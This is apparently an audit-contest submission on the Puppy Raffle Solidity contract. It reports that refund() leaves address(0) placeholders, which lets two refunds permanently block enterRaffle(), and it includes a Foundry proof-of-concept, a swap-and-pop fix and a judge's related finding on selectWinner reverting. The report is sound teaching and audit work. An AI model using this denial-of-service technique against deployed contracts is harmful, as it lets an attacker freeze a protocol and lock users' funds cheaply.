Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

After a refund, a zero address leads to a permanent DoS.

limianyu

Root + Impact

Description

  • Normal behavior: refund() allows players to exit and receive their entry fee back, while enterRaffle() allows new players to join and disallows duplicate addresses.


  • Issue: The function refund() only sets players[playerIndex] to address(0), without deleting the array element or reducing the length of players. When two instances of address(0) appear in the array, the repeated check in enterRaffle() will permanently roll back due to address(0) == address(0), preventing any new players from joining.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee);
​
// @> Only set to zero, do not remove elements, and add address(0).
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
​
for (uint256 i = 0; i < players.length - 1; i++) {
for (uint256 j = i + 1; j < players.length; j++) {
// @> Two addresses(0) are equal, resulting in a permanent rollback
require(players[i] != players[j], "PuppyRaffle: Duplicate player");
}
}

Risk

Likelihood:

  • Any player can call refund(), without requiring an owner or special permissions.

  • The attacker only needs to prepare two addresses, first enterRaffle([A, B]), and then refund(0) and refund(1) respectively.

  • The refund will be the full amount of the admission fee, and the attacker's net cost will only be gas.

  • Once two zero addresses appear in the array, all subsequent calls to enterRaffle() will be rolled back at the point of repeated checks.

Impact:

  • enterRaffle() is permanently unavailable, and the core functions of the protocol are down.

  • The player funds that have not been refunded in the contract may be locked, and selectWinner() may also fail due to the discrepancy between the balance and players.length * entranceFee.

  • The project cannot continue to operate, new players cannot participate, and existing players cannot complete the lottery.

Proof of Concept

The attacker prepares two addresses, A and B.

Call enterRaffle([A, B]) and send 2 * entrance fee.

Call refund(0) with A, and players[0] becomes address(0).

Call refund(1)with B, and players[1] becomes address(0).

At this time, players = [address(0), address(0)].

Any user who calls enterRaffle([C]) will trigger a duplicate check:

solidityrequire(players[0] != players[1], "PuppyRaffle: Duplicate player");

Because address(0) == address(0), the transaction is rolled back.

function testPermanentDoS() public {
address attackerA = address(0xA);
address attackerB = address(0xB);
vm.deal(attackerA, 2 ether);
vm.deal(attackerB, 2 ether);
​
address[] memory players = new address[](2);
players[0] = attackerA;
players[1] = attackerB;
​
vm.prank(attackerA);
puppyRaffle.enterRaffle{value: 2 * entranceFee}(players);
​
vm.prank(attackerA);
puppyRaffle.refund(0);
​
vm.prank(attackerB);
puppyRaffle.refund(1);
​
address[] memory newPlayers = new address[](1);
newPlayers[0] = address(0xC);
​
vm.deal(address(0xC), entranceFee);
vm.prank(address(0xC));
vm.expectRevert("PuppyRaffle: Duplicate player");
puppyRaffle.enterRaffle{value: entranceFee}(newPlayers);
}

Recommended Mitigation

When refunding, it is recommended to actually delete the element rather than using a zero address placeholder. "Swap and pop" is recommended:

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee);
​
- players[playerIndex] = address(0);
+ players[playerIndex] = players[players.length - 1];
+ players.pop();
​
emit RaffleRefunded(playerAddress);
}
​
​
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] `PuppyRaffle::refund` replaces an index with address(0) which can cause the function `PuppyRaffle::selectWinner` to always revert

## Description `PuppyRaffle::refund` is supposed to refund a player and remove him from the current players. But instead, it replaces his index value with address(0) which is considered a valid value by solidity. This can cause a lot issues because the players array length is unchanged and address(0) is now considered a player. ## Vulnerability Details ```javascript players[playerIndex] = address(0); @> uint256 totalAmountCollected = players.length * entranceFee; (bool success,) = winner.call{value: prizePool}(""); require(success, "PuppyRaffle: Failed to send prize pool to winner"); _safeMint(winner, tokenId); ``` If a player refunds his position, the function `PuppyRaffle::selectWinner` will always revert. Because more than likely the following call will not work because the `prizePool` is based on a amount calculated by considering that that no player has refunded his position and exit the lottery. And it will try to send more tokens that what the contract has : ```javascript uint256 totalAmountCollected = players.length * entranceFee; uint256 prizePool = (totalAmountCollected * 80) / 100; (bool success,) = winner.call{value: prizePool}(""); require(success, "PuppyRaffle: Failed to send prize pool to winner"); ``` However, even if this calls passes for some reason (maby there are more native tokens that what the players have sent or because of the 80% ...). The call will thankfully still fail because of the following line is minting to the zero address is not allowed. ```javascript _safeMint(winner, tokenId); ``` ## Impact The lottery is stoped, any call to the function `PuppyRaffle::selectWinner`will revert. There is no actual loss of funds for users as they can always refund and get their tokens back. However, the protocol is shut down and will lose all it's customers. A core functionality is exposed. Impact is high ### Proof of concept To execute this test : forge test --mt testWinnerSelectionRevertsAfterExit -vvvv ```javascript function testWinnerSelectionRevertsAfterExit() public playersEntered { vm.warp(block.timestamp + duration + 1); vm.roll(block.number + 1); // There are four winners. Winner is last slot vm.prank(playerFour); puppyRaffle.refund(3); // reverts because out of Funds vm.expectRevert(); puppyRaffle.selectWinner(); vm.deal(address(puppyRaffle), 10 ether); vm.expectRevert("ERC721: mint to the zero address"); puppyRaffle.selectWinner(); } ``` ## Recommendations Delete the player index that has refunded. ```diff - players[playerIndex] = address(0); + players[playerIndex] = players[players.length - 1]; + players.pop() ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!